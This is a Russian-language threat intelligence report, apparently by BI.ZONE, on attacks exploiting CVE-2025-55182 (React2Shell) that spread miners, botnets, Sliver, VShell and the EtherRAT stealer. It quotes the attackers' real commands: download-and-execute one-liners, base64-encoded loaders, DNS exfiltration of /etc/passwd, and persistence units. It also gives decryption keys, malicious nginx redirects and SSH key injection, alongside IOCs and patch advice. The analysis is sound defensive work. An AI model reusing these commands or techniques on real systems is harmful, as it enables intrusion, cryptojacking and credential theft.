Злоумышленники эксплуатируют уязвимость CVE‑2025‑55182 в атаках на российские компании
В декабре 2025 года специалисты BI.ZONE TDR зафиксировали вредоносную активность, нацеленную на российские компании из сфер страхования, электронной коммерции и IT. В основе атак — эксплуатация уязвимости CVE‑2025‑55182 (React2Shell). В результате этой кампании в большинстве случаев распространялся майнер XMRig, а в некоторых — ботнеты Kaiji и RustoBot или имплант Sliver.
Аналитики BI.ZONE Threat Intelligence обнаружили и другие случаи эксплуатации React2Shell, не направленные на Россию. В атаках на другие страны злоумышленники распространяли различное вредоносное ПО: имплант CrossC2 для Cobalt Strike, средство удаленного администрирования Tactical RMM, загрузчики и бэкдор VShell, а также троян удаленного доступа EtherRAT.
- Критические уязвимости могут попасть в арсенал злоумышленников за считаные часы, даже несмотря на то, что многие уязвимости никогда не используются в реальных атаках.
- Часто недостаточно просто исправить уязвимость. Не менее важно проверить систему на наличие следов как успешной эксплуатации, так и постэксплуатационной активности.
- Эксплуатация подобных уязвимостей часто носит массовый характер и может сопровождаться самой разнообразной вредоносной активностью.
Атаки на российские компании
Случай 1
В результате эксплуатации уязвимости React2Shell на скомпрометированном хосте, в контейнере, атакующие выполняли следующие команды:
/bin/sh -c 'cd /tmp; wget hxxp://176.117.107[.]154/bot; chmod 777 bot; ./bot || cd /tmp; curl -O hxxp://176.117.107[.]154/bot; chmod 777 bot; ./bot'
Исполняемый ELF‑файл bot является вредоносной программой RustoBot. RustoBot представляет собой ботнет, написанный на Rust и в основном нацеленный на устройства TOTOLINK.
Вредоносная программа получает адрес управляющего сервера с помощью разрешения следующих доменных имен:
ilefttotolinkalone.anondns[.]netrustbot.anondns[.]netbitcoinbandit.anondns[.]netcryptoenjoyers.anondns[.]netdontblockme.anondns[.]net
Данные адреса разрешаются по IP‑адресу 45.137.201[.]137.
RustoBot позволяет проводить DDoS-атаки с помощью техник UDP flood, TCP flood, Raw IP flood с параметрами: целевой IP/порт, длительность атаки (в секундах), размер пакета (в байтах).
Также RustoBot содержит внутри себя нагрузку в виде майнера XMRig.
Затем атакующие загружали и выполняли Bash-скрипт с удаленного сетевого ресурса, выполняя закодированные в Base64 команды:
/bin/sh -c 'echo Y3VybCAtcyAtLW1heC10aW1lIDUgaHR0cHM6Ly90ci5lYXJuLnRvcC9Mb2cucGhwP2lkPU1JSUtO | base64 -d | sh'
/bin/sh -c 'echo Y3VybCAtZnNTTCBodHRwczovL3RyLmVhcm4udG9wL2FwYWNoZXMuc2ggLW8gL3RtcC9hcGFjaGVzLnNoICYmIGNobW9kICt4IC90bXAvYXBhY2hlcy5zaCAmJiBub2h1cCAvdG1wL2FwYWNoZXMuc2ggPi9kZXYvbnVsbCAyPiYxICY= | base64 -d | sh'
Декодированные команды:
curl -s --max-time 5 hxxps://tr.earn[.]top/Log.php?id=MIIKN
curl -fsSL hxxps://tr.earn[.]top/apaches.sh -o /tmp/apaches.sh && chmod +x /tmp/apaches.sh && nohup /tmp/apaches.sh >/dev/null 2>&1 &
Bash-скрипт apaches.sh предназначен для скачивания и установки майнера XMRig. Исполняемый ELF‑файл майнера, запакованного UPX, загружался по адресу hxxps://tr.earn[.]top/nginxs, а его конфигурационный файл загружался по адресу hxxps://tr.earn[.]top/config.json. Если apaches.sh запущен от пользователя root, тогда загруженные файлы сохраняются в директорию /usr/local/sbin, иначе — в /tmp. Также данный Bash-скрипт закрепляется с помощью создания сервиса /etc/systemd/system/apaches-main.service и с помощью задачи в Cron.
Затем на скомпрометированном хосте были зафиксированы команды:
/bin/sh -c 'echo $((41*271))'
/bin/sh -c whoami
curl hxxp://103.135.101[.]15/wocaosinm.sh
/bin/sh -c '$(curl -s hxxp://keep.camdvr[.]org:8000/d5.sh | bash | gzip -n | base64 -w0)'
После этого на хост загружался Bash-скрипт wocaosinm.sh, реализующий загрузку исполняемого ELF‑файла (linux_386 или linux_amd64 — в зависимости от архитектуры системы), который являлся вредоносной программой — ботнетом Kaiji (билд — Ares).
Вредоносная программа Kaiji обладает следующими функциональными возможностями:
- Реализация DDoS-атак с помощью SYN flood, ACK flood, UDP flood с возможностью подмены SourceIP-адреса из заданного диапазона; поддержка атак по протоколу WebSocket.
- Исполнение произвольных shell-команд в скомпрометированной системе.
- Динамическое управление конфигурацией: удаленное изменение параметров бота (диапазон IP, PID процессов для завершения при старте ВПО, режим работы, идентификатор бота) через зашифрованный конфигурационный файл
.walk.lod, размещаемый в системных директориях/dev,/etc,/mnt,/opt,/sys,/usr,/run,/var/run,/tmp. - Множественное закрепление в системе через
systemd-сервисы,crontab-задачи,init.d-скрипты, модификациюrc.localиprofile.d, создание сервиса с именемdns-tcp. - Подмена системных утилит (ls, ps, ss, netstat, find, lsof) в
/usr/bin/модифицированными версиями с перенаправлением на оригинальные файлы; маскировка под легитимные системные библиотеки и конфигурационные файлы (libgdi.so.0.8.1,opt.services.cfg,System.mod). - Развертывание майнера XMRig.
Также на скомпрометированный хост загружался другой Bash-скрипт d5.sh, отвечающий за загрузку с сетевого ресурса hxxp://keep.camdvr[.]org:8000/BREAKABLE_PARABLE5 импланта Sliver. Bash-скрипт, в зависимости от уровня привилегий, закреплял Sliver в автозагрузке системы следующим образом:
- Если есть права
root, Bash-скрипт копирует загруженную нагрузку в/usr/bin/sshd-agent, делает файл неизменяемым, используя командуchattr +I, затем создает сервисsystemd. - Если права
rootотсутствуют, выполняет командуsu - rootс целью повысить права, в случае неудачи создает скрытую директорию~/.config/.system-monitor/, копирует нагрузку с именем.sys-monи добавляет ее в автозагрузкуcrontab(@reboot), а также.bashrc. Для сервисных аккаунтов (например,www-data) Bash-скрипт помещает нагрузку в директорию/tmp/.system-update/.
Далее d5.sh удаляет следы: временные файлы, очищает историю bash (history), обнуляет файл .bash_history, удаляет сам себя.
Имплант Sliver обращался к C2‑серверу keep.camdvr[.]org.
Данная вредоносная активность, связанная с распространением ВПО Kaiji и Sliver, была ранее описана экспертами Huntress.
Случай 2
В контейнере скомпрометированного хоста после эксплуатации уязвимости React2Shell атакующие выполняли различные команды:
wget -O /tmp/runnv.tar.gz hxxp://128.199.194[.]97:9001/runnv.tar.gz
wget -O - hxxp://128.199.194[.]97:9001/setup2.sh
/sbin/modprobe msr allow_writes=on
В результате выполнения указанных команд атакующие разворачивали в системе жертвы майнер XMRig версии 6.24.0.
Загружаемый архив runnv.tar.gz содержал файл конфигурации майнера config.json и исполняемый ELF‑файл runnv-майнера XMRig.
Загружаемый Bash-скрипт setup2.sh представлял собой измененный скрипт setup_c3pool_miner.sh, предназначенный для установки майнера в систему. В параметре WALLET указан адрес криптокошелька: 49Qp2aEzUdEANd88muJEvDVKEzn9xbm5xEXjZ8QUeN1ndVxvtUuSjZAecFJHabrzYE2VXTu5sZM8H5GiKfKah1VJBwuWhYc.
setup2.sh
setup2.sh в ходе своего выполнения загружал другие Bash-скрипты — alive.sh и lived.sh.
alive.sh выполняет команду ps -eo pid,pcpu --no-headers, завершает работу процессов, которые потребляют CPU ≥ 40. Не завершает работу:
- процессов, запущенных из директории
/tmp/runnv/*; - процесса с именем
/tmp/runnv/runnv; - процессов, у которых в командной строке присутствует
zzh.
Скрипт lived.sh завершает работу процессов, в имени которых есть:
.sh/sh;python*;- процессы, запущенные из
/tmp; - процессы, которые представляют собой исполняемые ELF‑файлы.
Случай 3
В результате эксплуатации уязвимости React2Shell на скомпрометированном хосте, в контейнере onyxdotapp/onyx-web-server:latest, атакующие проводили разведку, выполняя закодированные в Base64 команды:
/bin/sh -c 'echo bHM= | base64 -d | sh'
/bin/sh -c 'echo bnNsb29rdXAgYHdob2FtaWAub2lhMGx3dXQybjY1ZjhvNHN3bWJlc3UwbnJ0aWg5NXkub2FzdGlmeS5jb20= | base64 -d | sh'
/bin/sh -c 'echo bnNsb29rdXAgYGxzYC5vaWEwbHd1dDJuNjVmOG80c3dtYmVzdTBucnRpaDk1eS5vYXN0aWZ5LmNvbQ== | base64 -d | sh'
/bin/sh -c 'echo bnNsb29rdXAgYGxzYC42a3JpbmV3YjQ1OG5ocXFtdWVvdGdhd2lwOXYxanI3Zy5vYXN0aWZ5LmNvbQ== | base64 -d | sh'
/bin/sh -c 'echo bnNsb29rdXAgYGlkYC42a3JpbmV3YjQ1OG5ocXFtdWVvdGdhd2lwOXYxanI3Zy5vYXN0aWZ5LmNvbQ== | base64 -d | sh'
/bin/sh -c 'echo bnNsb29rdXAgYHdob2FtaWAuNmtyaW5ld2I0NThuaHFxbXVlb3RnYXdpcDl2MWpyN2cub2FzdGlmeS5jb20= | base64 -d | sh'
Декодированные команды:
ls
nslookup `whoami`.oia0lwut2n65f8o4swmbesu0nrtih95y.oastify[.]com
nslookup `ls`.oia0lwut2n65f8o4swmbesu0nrtih95y.oastify[.]com
nslookup `id`.6krinewb458nhqqmueotgawip9v1jr7g.oastify[.]com
nslookup `cat /etc/passwd`.6krinewb458nhqqmueotgawip9v1jr7g.oastify[.]com
Примечательно, что атакующие использовали технику DNS‑туннеля для получения результатов выполнения указанных команд.
Затем атакующие загрузили и выполнили Bash-скрипт sex.sh:
/bin/sh -c 'wget hxxp://216.158.232[.]43:12000/sex.sh && bash sex.sh'
Данный Bash-скрипт загружал из репозитория hxxps://github[.]com/xmrig/xmrig/releases/download/v6.24.0/xmrig-6.24.0-linux-static-x64.tar.gz и устанавливал в системе майнер XMRig версии 6.24.0. Закреплялся майнер как сервис system-update-service.service:
[Unit]
Description=System Update Service
After=network.target
[Service]
Type=simple
ExecStart=xmrig --url pool.hashvault[.]pro:443 --user 88tGYBwhWNzGesQs5QkwE1PdBa1tXGb9dcjxrdwujU3SEs3i7psaoJc4KmrDvv4VPTNtXazDWGkvGGfqurdBggvPEhZ43DJ --pass next --donate-level 0 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
Restart=always
RestartSec=10
User=root
[Install]
WantedBy=multi-user.target
Другие атаки
Специалисты BI.ZONE Threat Intelligence также провели исследование других атак, не нацеленных на российский регион и связанных с эксплуатацией атакующими уязвимости React2Shell и распространением различного ВПО.
CrossC2 Cobalt Strike
Атакующие использовали Bash-скрипт check.sh, который загружал с сервера исполняемые ELF‑файлы a_x86/a_x64 и сохранял их под именем rsyslo в директории /usr/local/rsyslo, если скрипт был запущен от root-пользователя, либо в ${HOME}/.rsyslo в случае запуска пользователем с обычными правами.
check.sh
После выполнения check.sh создается и запускается сервис с описанием:
[Unit]
Description=Rsyslo AV Agent Service
After=network.target
[Service]
Type=simple
ExecStart=${BIN_PATH}
Restart=always
RestartSec=5
User=root
[Install]
WantedBy=multi-user.target
Исполняемые ELF‑файлы a_x86/a_x64 представляют собой полезную нагрузку Cobalt Strike для UNIX-систем фреймворка CrossC2. Файлы запакованы с помощью UPX, конфигурация находится в конце исполняемого файла.
Расшифровка конфигурационных данных происходит с помощью алгоритма AES‑128‑CBC с ключом aaaabbbbccccdddd и вектором abcdefghijklmnop.
Управляющий сервер для файлов a_x86/a_x64 идентичен: 154.89.152[.]240:443.
Tactical RMM
В ходе эксплуатации React2Shell атакующие загружали исполняемые ELF‑файлы средства удаленного администрирования Tactical RMM по ссылке hxxps://156.67.221[.]96/meshagents?id=hrfDDhB@yNf4oBrCH@R$KfVp27XfA78LiX@IZUxoTgs3zCwG$bjdpR@0oa8@BhTf&installflags=0&meshinstall=6.
При установке Mesh-агента его конфигурационные данные выглядели следующим образом:
MeshName=root
MeshType=2
MeshID=0x86B7C30E107EC8D7F8A01AC21FE47F29F569DBB5DF03BF0B897F88654C684E0B37CC2C06FDB8DDA51FB4A1AF3E0614DF
ServerID=1D707CFEC8870C83F9E4AFF93758BAE47E8BFB10BFD94FAC88EA6423A9CEE9BB1F7CB3C3B92E1E57DD9C471AABE6809C
MeshServer=wss://156.67.221[.]96:443/agent.ashx
VShell
Атакующие загружали Bash-скрипт с сетевого ресурса hxxp://107.173.89[.]153:60051/slt. Данный Bash-скрипт загружал исполняемые ELF‑файлы под разные архитектуры:
l64="107.173.89[.]153:60051/?h=107.173.89[.]153&p=60051&t=tcp&a=l64&stage=true"
l32="107.173.89[.]153:60051/?h=107.173.89[.]153&p=60051&t=tcp&a=l32&stage=true"
a64="107.173.89[.]153:60051/?h=107.173.89[.]153&p=60051&t=tcp&a=a64&stage=true"
a32="107.173.89[.]153:60051/?h=107.173.89[.]153&p=60051&t=tcp&a=a32&stage=true"
Загруженный файл сохранялся в /tmp/db946be9tcp.
Указанные исполняемые файлы имеют идентичные функциональные возможности и являются загрузчиками бэкдора VShell. Загрузчик подключается к серверу 107.173.89[.]153:60051 с помощью создания TCP‑сокета и отправляет данные:
- строку идентификации архитектуры (
l32илиl64— 6 байт); - порт сервера (
0xEA93); - IP‑адрес сервера (
107.173.89[.]153).
После этого от сервера приходит зашифрованная вредоносная нагрузка. Нагрузка расшифровывается с помощью операции XOR с ключом 0x99. Расшифрованная нагрузка запускается с помощью создания анонимного файлового дескриптора (memfd_create) и запускается с именем процесса [kworker/0:2].
Расшифрованная нагрузка является бэкдором VShell на языке Go, который обфусцирован Garble. Конфигурация VShell-бэкдора:
{
"server": "107.173.89[.]153:60051",
"type": "tcp",
"vkey": "qwe123qwe111",
"proxy": "",
"salt": "qwe123qwe111",
"l": false,
"e": false,
"d": 30,
"h": 10
}
EtherRAT
Также в атаках, связанных с эксплуатацией уязвимости React2Shell, было обнаружено распространение нового ВПО EtherRAT, которое было ранее изучено экспертами Sysdig Threat Research Team.
Атакующие скачивали Bash-скрипт по адресу hxxp://193.24.123[.]68:3001/gfdsgsdfhfsd_ghsfdgsfdgsdfg.sh. Данный Bash-скрипт скачивал node-v20.10.0-linux-x64 для запуска JS‑скрипта, а также декодировал два файла, закодированных в Base64:
$HOME/.local/share/.05bf0e9b/.kxnzl4mtez.js— обфусцированный JS‑скрипт, расшифровывающий с помощью AES зашифрованный файл.1d5j6rm2mg2d;$HOME/.local/share/.05bf0e9b/.1d5j6rm2mg2d— зашифрованный JS‑скрипт.
kxnzl4mtez.js расшифровывал файл 1d5j6rm2mg2d с помощью AES‑256‑CBC с использованием ключа и вектора инициализации, закодированных в Base64:
key: cn7uRzKiMgOZ/dDxuclzgDrGKLQ7HEtEZ1Ld6k6eRsg=iv: 2iWxmWx4r98fhW9jIpzKXA==
Расшифрованный скрипт сохранялся с именем 7vfgycfd01.js.
Данный скрипт представляет собой ВПО EtherRAT, которое способно выполнять произвольный JS‑код, поступающий от управляющего сервера.
ВПО закрепляется с помощью:
systemd-сервиса:[Unit]
Description=User Application Service
After=network.target
[Service]
Type=simple
ExecStart=/usr/bin/node <jsPath>
Restart=always
RestartSec=30
Environment=DISPLAY=:0
[Install]
WantedBy=default.target- XDG Autostart:
[Desktop Entry]
Type=Application
Name=System Service
Exec=/usr/bin/node /<jsPath>
Hidden=true
NoDisplay=true
X-GNOME-Autostart-enabled=true
StartupNotify=false
Terminal=false crontab:@reboot sleep 30 && /usr/bin/node <jsPath> >/dev/null 2>&1 &.bashrc:(nohup /usr/bin/node <jsPath> >/dev/null 2>&1 &) 2>/dev/null.profile:(/usr/bin/node <jsPath> >/dev/null 2>&1 &) 2>/dev/null
После закрепления происходит получение адреса C2‑сервера из smart-контракта эндпоинта Ethereum RPC 0x22f96d61cf118efabc7c5bf3384734fad2f6ead4:
Управляющий сервер EtherRAT: hxxp://91.215.85[.]42:3000.
После этого на управляющий сервер отправляется запрос для получения частей JS‑кода:
GET /api/{rand4hex}/{botID}/{rand4hex}.{png|jpg|gif|css|ico|webp}?{id|token|key|b|q|s|v}=c6d83cb1-a4de-443d-bd78-da925acc5f8d
Header: X-Bot-Server: {current_c2}
Timeout: 120 sec
Всего было получено пять уникальных JS‑скриптов, после этого поступающие от C2‑сервера JS‑скрипты повторялись.
Скрипт 1
Скрипт предназначен для сбора подробной информации о системе и аппаратной конфигурации на хостах под управлением UNIX-подобных ОС, Windows и macOS. Его работа начинается с определения языковых настроек операционной системы. Если обнаруживается, что системный язык относится к одному из заранее заданных регионов (ru, be, kk, ky, tg, uz, hy, az, ka), скрипт немедленно прекращает выполнение и удаляет себя, не переходя к дальнейшим этапам сбора данных.
В случае продолжения работы скрипт собирает базовую информацию о системе, включая имя пользователя и хоста, тип платформы и архитектуру, время непрерывной работы системы, модель процессора и количество доступных ядер, объем оперативной памяти (общий и свободный), MAC‑адрес сетевого интерфейса, а также установленную версию Node.js.
Набор дополнительных данных зависит от операционной системы. В среде Windows скрипт извлекает сведения о видеокарте через WMI, получает версию и редакцию операционной системы из системного реестра, считывает уникальный идентификатор машины (Machine GUID), определяет доменную принадлежность, проверяет наличие административных привилегий и собирает информацию об установленном антивирусном программном обеспечении через Security Center.
В UNIX-подобных системах и macOS скрипт определяет модель графического адаптера с помощью системных утилит, извлекает информацию о дистрибутиве и версии ОС из стандартных конфигурационных файлов или командных утилит, считывает machine-id, определяет доменное имя хоста и проверяет, запущен ли процесс с привилегиями суперпользователя. Также выполняется проверка на наличие активных антивирусных процессов, включая популярные серверные решения.
Дополнительно скрипт определяет внешний IP‑адрес системы, последовательно обращаясь к нескольким публичным API‑сервисам: api.ipify[.]org, api.my-ip[.]io, api64.ipify[.]org.
Скрипт 2
Данный скрипт представляет собой JS‑стилер, предназначенный для сбора и эксфильтрации различных пользовательских данных: криптовалютных кошельков, токенов доступа, конфигураций облачных сервисов и учетных данных к базам данных.
Скрипт ищет учетные данные криптокошельков: приватные ключи Ethereum в hex‑формате, seed-фразы BIP39 длиной от 12 до 24 слов, WIF‑ключи Bitcoin, а также KEYSTORE-файлы и файлы криптокошельков.
Также скрипт извлекает токены и API‑ключи различных сервисов: систем контроля версий, облачных провайдеров (AWS, GCP, Azure), хостинг-платформ, платежных и почтовых сервисов, мессенджеров, а также API‑ключи OpenAI и Anthropic. Поддерживается сбор JWT, bearer-токенов и webhook’ов.
Отдельное внимание уделяется SSH‑ключам и конфигурациям инфраструктуры. Скрипт собирает приватные SSH‑ключи, полностью просматривает каталог ~/.ssh, извлекает AWS‑конфигурации, gcloud-credentials, Kubernetes- и Docker-конфиги. Также производится поиск строк подключения и паролей к базам данных PostgreSQL, MySQL, MongoDB и Redis, в том числе через переменные окружения.
Сбор данных осуществляется как в Windows-, так и в Linux-среде. В Windows скрипт анализирует пользовательские каталоги, данные популярных криптокошельков, локальное хранилище браузеров (включая расширения вроде MetaMask), историю PowerShell и директории с веб-проектами. В Linux он сканирует домашние и системные каталоги, конфигурации криптокошельков, данные браузерных расширений, а также историю команд оболочки командной строки.
При работе с файловой системой скрипт целенаправленно ищет различные файлы, такие как .env, JSON-файлы с учетными данными, WALLET- и KEYSTORE-файлы, SSH‑ключи, файлы менеджеров пакетов, Docker- и Terraform-конфигурации, а также любые файлы, в названии которых присутствуют слова secret, credential, password, token, key, wallet.
Скрипт рекурсивно обходит директории с ограничением по глубине (максимальная глубина 10), читает файлы размером до 10 МБ, применяет набор регулярных выражений для выявления учетных данных и после этого отправляет собранную информацию на удаленный сервер hxxp://91.215.85[.]42:3000/crypto/keys, повторяя попытки отправки до получения успешного результата.
Скрипт 3
Скрипт генерирует случайные публичные IPv4‑адреса. Использует сетевые порты: 80, 443, 3000, 3001, 8080, 8443. Производит эксплуатацию уязвимости React2Shell, после эксплуатации пытается загрузить скрипт cетевого ресурса hxxp://193.24.123[.]68:3001/gfdsgsdfhfsd_ghsfdgsfdgsdfg.sh.
Скрипт 4
Скрипт предназначен для автоматизированной модификации конфигураций веб-серверов nginx и Apache в целях принудительного перенаправления всего HTTP- и HTTPS-трафика на внешний домен. В процессе работы он также собирает диагностическую и системную информацию о хосте и передает ее на удаленный webhook.
На первом этапе скрипт сканирует стандартные директории с конфигурациями nginx, включая sites-enabled, conf.d и sites-available. Содержимое каталогов читается напрямую через файловую систему Node.js. Для каждого найденного файла выполняется серия проверок: исключаются резервные копии с расширением .bak, подтверждается, что объект является обычным файлом, после чего файл полностью читается в память. Обработка продолжается только в том случае, если в содержимом присутствует строка server.
Из подходящих конфигураций скрипт извлекает ключевые параметры с помощью регулярных выражений. Он определяет имя сервера, пути к SSL‑сертификату и приватному ключу, а также проверяет, настроены ли слушающие порты 80 и 443. Перед внесением изменений оригинальный конфигурационный файл сохраняется в виде резервной копии с добавлением суффикса .bak.
После этого формируется новый серверный конфиг, полностью заменяющий исходное содержимое файла. Если в оригинале использовался HTTP-порт, создается серверный блок для порта 80, выполняющий постоянный редирект на внешний HTTPS-адрес.
server {
listen 80;
listen [::]:80;
server_name <имя_из_оригинала>;
return 301 hxxps://xss[.]pro$request_uri;
}
При наличии HTTPS-конфигурации создается аналогичный блок для порта 443 с включенным SSL. Если пути к сертификатам не были обнаружены, используются стандартные snakeoil-сертификаты из системных каталогов. Новый конфиг записывается поверх исходного файла без сохранения предыдущей логики обработки запросов.
server {
listen 443 ssl;
listen [::]:443 ssl;
server_name <имя_из_оригинала>;
ssl_certificate <путь_из_оригинала_или_/etc/ssl/certs/ssl-cert-snakeoil.pem>;
ssl_certificate_key <путь_из_оригинала_или_/etc/ssl/private/ssl-cert-snakeoil.key>;
return 301 hxxps://xss[.]pro$request_uri;
}
После перезаписи конфигураций скрипт запускает проверку корректности nginx-конфига с помощью nginx -t и анализирует вывод команды, ожидая признак успешной проверки. В случае успеха он пытается перезагрузить nginx, последовательно используя systemctl, service и сигнал nginx -s reload, что позволяет работать в различных дистрибутивах и средах.
Аналогичные действия выполняются для Apache. Скрипт просматривает стандартные каталоги конфигураций Apache, исключает файлы резервных копий и отключенные конфиги, сохраняет бэкапы и затем переименовывает активные конфигурационные файлы, добавляя к ним суффикс .disabled. После этого в той же директории создается новый конфигурационный файл, содержащий универсальные виртуальные хосты для портов 80 и 443, которые перенаправляют весь трафик на тот же внешний ресурс. Для HTTPS также используются стандартные SSL‑сертификаты. Завершающим шагом выполняется проверка конфигурации Apache и попытка его перезагрузки.
Помимо изменения конфигураций веб-серверов, скрипт собирает подробную информацию о системе. В нее входят имя хоста, внешний IP‑адрес, имя пользователя, UID процесса, тип операционной системы, результаты проверок конфигураций nginx и Apache, список запущенных веб-серверных процессов и содержимое ключевых nginx-директорий. Также фиксируется точное время выполнения операции.
Вся собранная информация отправляется POST-запросом на заранее заданный webhook-адрес hxxps://webhook[.]site/63575795-ee27-4b29-a15d-e977e7dc8361 с указанием заголовка Content-Type: application/json.
Скрипт 5
Скрипт добавляет свой публичный ключ в authorized_keys.
ssh-rsa
AAAAB3NzaC1yc2EAAAADAQABAAACAQDFTxaWmhQkYYF2LgNsAumFqxUiUSv8YEd7DRE9Wb076YxY0fGn4scWzmQnIP/xsrynapcrGKhBXW31BG7wFearY9fctJeHrnAw7CeXqMybFPGIrl+PbLsUnH2AeizjqTOhVZMrgO+0MdsNrdGTN58azTRIvDvgXX9/4p5tinRvisP8jQXPwRv9gurT9hbjrff8bFYmbttSkFXzwlvo5jVi3WrDBLeSSaEnolsJbvCGzzNtm2s77O3yesztMOn03YR1b1QWaOZMTQtzS7gvpKQ8voxypyUd2H+qwK1fe3S7t3QHnNBoKxHXi/KsxgFbY9G74SKV15jTFyrJCJOaYQbVSZiz+uPYDRgW4xBKDsKEx5ne2E4oqJVSSNiZ/QJs0+zA3QFIflcR3WrZ6xxw0ivk/nvhzcCsd+K94jK/qheJzrTTvWqjo8FauCN8LtxqQGpbNWHHRJqc2m/lTt8CA2V89RquqMX7FhArF86TnMxHHt9IDDCf07eIEbpLuWGpJLBJeHbqy5h8yB8ZoUj/E3E7+KMd6HGvYkKxn3YItfopArpg6AfWzP0bjyw7yzxdsbElkxL3K6UcBeTBXb/HMOpTE9uyNN4TvczJZAbB6Yy51x2RU4Yd815MFVPVFFn+5/z+ZyK9442c9/UHKMcbOtXkvydWM7v01xCc8tFlIFKa4w== root@vps
XMRig
Атакующие загружали с сетевого ресурса hxxp://45.134.174[.]235:443/ идентичные Bash-скрипты с именами 2.sh, a1.sh, a2.sh, a3.sh. Каждый из Bash-скриптов скачивал и запускал указанный в коде скрипта исполняемый ELF‑файл. Имена загружаемых исполняемых файлов: solra, solrc, solrk, solrz.
Данные исполняемые ELF‑файлы выполняют следующую логику:
- завершение всех процессов, кроме
xmrig; - загрузка в систему майнера XMRig, который будет запущен с аргументом
www.chatgptaiweb[.]top:80.
Добавление SSH‑ключей
Атакующие использовали Bash-скрипт love0, загружаемый с ресурса hxxps://sitiolibre[.]com/wp/wp-content/plugins/gassembly/js/love0.
love0
Данный Bash-скрипт добавлял SSH‑ключ в authorized_keys для получения доступа к системе.
Сбор информации о цели
Атакующие использовали Bash-скрипт, который загружался по адресу hxxp://109.238.92[.]111/ch.sh.
Bash-скрипт ch.sh выполнял разведывательные действия и собирал следующую информацию о скомпрометированном хосте:
- переданный аргумент
$1; date;hostname;uname -a;id;env | grep -iE ’HOST|URL|DOMAIN’;arp -an;cat /etc/resolv.conf;ifconfig / ip addr.
После этого собранная информация отправлялась на hxxp://109.238.92[.]111:8000/upload.
Рекомендации по устранению и снижению риска эксплуатации уязвимости CVE‑2025‑55182
Уязвимость CVE‑2025‑55182 обнаружена в нескольких версиях пакетов, используемых для работы с React Server Components. Уязвимые пакеты:
react-server-dom-webpackreact-server-dom-parcelreact-server-dom-turbopack
Данная уязвимость присутствует в следующих версиях указанных выше пакетов:
- 19.0;
- 19.1.0;
- 19.1.1;
- 19.2.0.
Уязвимость CVE‑2025‑55182 считается критической и может привести к серьезным последствиям для безопасности приложений. В связи с этим всем организациям и разработчикам, использующим указанные пакеты, настоятельно рекомендуется немедленно принять меры.
Исправление уязвимости CVE‑2025‑55182 доступно в версиях: 19.0.1, 19.1.2 и 19.2.1.
Необходимо обновить уязвимые зависимости до соответствующих исправленных версий или более новых. Подробная информация об уязвимости и внесенных исправлениях опубликована в официальном блоге React.
Проекты в Next.js, использующие React Server Components, также могут быть подвержены CVE‑2025‑55182. Рекомендуется:
- проверить текущую версию Next.js и ее зависимости;
- обновить Next.js до версии, включающей исправленные версии
react-server-dom-*; - убедиться, что в проекте не используются зафиксированные уязвимые версии пакетов.
Дополнительные меры безопасности:
- Пересоберите проект после обновления зависимостей.
- Проверьте файлы
package-lock.json,yarn.lockилиpnpm-lock.yaml, чтобы убедиться, что уязвимые версии полностью удалены. - Ограничьте использование в рабочей среде экспериментальных функций React Server Components без актуальных обновлений безопасности.
- Регулярно отслеживайте публикации по безопасности от команды React и используемых фреймворков.
| Тип | Индикатор | Контекст |
|---|---|---|
| SHA256 |
|
Bash-скрипт, связан с распространением майнера XMRig |
|
|
Bash-скрипт, связан с распространением ботнета Kaiji |
|
|
|
Bash-скрипт, связан с распространением майнера XMRig |
|
|
|
Bash-скрипт, связан с распространением майнера XMRig |
|
|
|
Bash-скрипт, связан с распространением майнера XMRig |
|
|
|
Bash-скрипт, связан с распространением майнера XMRig |
|
|
|
Bash-скрипт, связан с распространением импланта Sliver |
|
|
|
Bash-скрипт, связан с распространением VShell |
|
|
|
Bash-скрипт, связан с распространением VShell |
|
|
|
Bash-скрипт, связан с распространением импланта CrossC2 Cobalt Strike |
|
|
|
Bash-скрипт, связан со сбором информации о цели |
|
|
|
Bash-скрипт, связан с распространением EtherRAT |
|
|
|
Bash-скрипт, связан с добавлением SSH‑ключей |
|
|
|
Bash-скрипт, связан с распространением майнера XMRig |
|
|
|
Bash-скрипт, связан с распространением майнера XMRig |
|
|
|
Bash-скрипт, связан с распространением майнера XMRig |
|
|
|
Bash-скрипт, связан с распространением майнера XMRig |
|
|
|
ELF32, ботнет Kaiji |
|
|
|
ELF64, ботнет Kaiji |
|
|
|
ELF64, UPX, ботнет RustoBot |
|
|
|
ELF64, имплант Sliver |
|
|
|
ELF64, UPX, майнер XMRig |
|
|
|
Архив |
|
|
|
ELF64, майнер XMRig |
|
|
|
JSON, конфигурация XMRig |
|
|
|
ELF64, UPX, майнер XMRig |
|
|
|
ELF64, UPX, майнер XMRig |
|
|
|
ELF64, UPX, майнер XMRig |
|
|
|
ELF64, UPX, майнер XMRig |
|
|
|
Зашифрованная нагрузка, EtherRAT |
|
|
|
ELF64, Tactical RMM |
|
|
|
ELF32, Tactical RMM |
|
|
|
ELF32, Tactical RMM |
|
|
|
ELF32, Tactical RMM |
|
|
|
ELF32, Tactical RMM |
|
|
|
ELF64, Tactical RMM |
|
|
|
ELF64, бэкдор VShell |
|
|
|
ELF32, бэкдор VShell |
|
|
|
ELF64, бэкдор VShell |
|
|
|
ELF32, бэкдор VShell |
|
|
|
ELF64, UPX, имплант CrossC2 Cobalt Strike |
|
|
|
ELF32, UPX, имплант CrossC2 Cobalt Strike |
|
| URL |
|
Распространение ботнета RustoBot |
|
|
Распространение майнера XMRig |
|
|
|
Распространение майнера XMRig |
|
|
|
Распространение майнера XMRig |
|
|
|
Распространение майнера XMRig |
|
|
|
Распространение майнера XMRig |
|
|
|
Распространение майнера XMRig |
|
|
|
Распространение майнера XMRig |
|
|
|
Распространение майнера XMRig |
|
|
|
Распространение майнера XMRig |
|
|
|
Распространение ботнета Kaiji |
|
|
|
Распространение импланта Sliver |
|
|
|
Распространение импланта Sliver |
|
|
|
Распространение Tactical RMM |
|
|
|
C2‑сервер Tactical RMM |
|
|
|
Распространение бэкдора VShell |
|
|
|
Распространение EtherRAT |
|
|
|
C2‑сервер EtherRAT |
|
|
|
Отправление собранных данных на C2‑сервер EtherRAT |
|
|
|
Отправление собранных данных на C2‑сервер EtherRAT |
|
|
|
Отправление собранной информации на сервер |
|
|
|
Загрузка Bash-скрипта для разведки |
|
|
|
Загрузка Bash-скрипта, добавляющего SSH‑ключи |
|
|
|
Распространение майнера XMRig |
|
|
|
Распространение майнера XMRig |
|
|
|
Распространение майнера XMRig |
|
|
|
Распространение майнера XMRig |
|
|
|
Распространение импланта CrossC2 Cobalt Strike |
|
|
|
Распространение импланта CrossC2 Cobalt Strike |
|
